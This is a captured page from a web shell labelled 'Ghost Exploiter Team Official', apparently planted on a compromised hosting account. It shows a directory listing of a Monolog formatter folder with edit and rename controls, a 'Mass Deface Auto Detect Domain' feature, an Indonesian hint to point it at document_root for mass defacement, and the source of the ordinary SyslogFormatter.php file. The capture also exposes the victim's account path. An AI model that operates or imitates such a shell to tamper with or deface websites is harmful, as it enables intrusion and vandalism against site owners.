webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
monolog
/
monolog
/
src
/
Monolog
/
Formatter
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
ChromePHPFormatter.php
2.212KB
edt
ren
ElasticaFormatter.php
2.047KB
edt
ren
ElasticsearchFormatter.php
1.88KB
edt
ren
FlowdockFormatter.php
2.476KB
edt
ren
FluentdFormatter.php
2.29KB
edt
ren
FormatterInterface.php
0.85KB
edt
ren
GelfMessageFormatter.php
4.621KB
edt
ren
GoogleCloudLoggingForma
...
1.157KB
edt
ren
HtmlFormatter.php
4.516KB
edt
ren
JsonFormatter.php
5.887KB
edt
ren
LineFormatter.php
8.892KB
edt
ren
LogglyFormatter.php
1.25KB
edt
ren
LogmaticFormatter.php
1.536KB
edt
ren
LogstashFormatter.php
3.433KB
edt
ren
MongoDBFormatter.php
4.804KB
edt
ren
NormalizerFormatter.php
8.986KB
edt
ren
ScalarFormatter.php
1.109KB
edt
ren
SyslogFormatter.php
1.88KB
edt
ren
WildfireFormatter.php
3.968KB
edt
ren
<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Level; use Monolog\LogRecord; /** * Serializes a log message according to RFC 5424 * * @author Dalibor Karlović <dalibor.karlovic@sigwin.hr> * @author Renat Gabdullin <renatobyj@gmail.com> */ class SyslogFormatter extends LineFormatter { private const SYSLOG_FACILITY_USER = 1; private const FORMAT = "<%extra.priority%>1 %datetime% %extra.hostname% %extra.app-name% %extra.procid% %channel% %extra.structured-data% %level_name%: %message% %context% %extra%\n"; private const NILVALUE = '-'; private string $hostname; private int $procid; public function __construct(private string $applicationName = self::NILVALUE) { parent::__construct(self::FORMAT, 'Y-m-d\TH:i:s.uP', true, true); $this->hostname = (string) gethostname(); $this->procid = (int) getmypid(); } public function format(LogRecord $record): string { $record->extra = $this->formatExtra($record); return parent::format($record); } /** * @param LogRecord $record * @return array<string, mixed> */ private function formatExtra(LogRecord $record): array { $extra = $record->extra; $extra['app-name'] = $this->applicationName; $extra['hostname'] = $this->hostname; $extra['procid'] = $this->procid; $extra['priority'] = self::calculatePriority($record->level); $extra['structured-data'] = self::NILVALUE; return $extra; } private static function calculatePriority(Level $level): int { return (self::SYSLOG_FACILITY_USER * 8) + $level->toRFC5424Level(); } }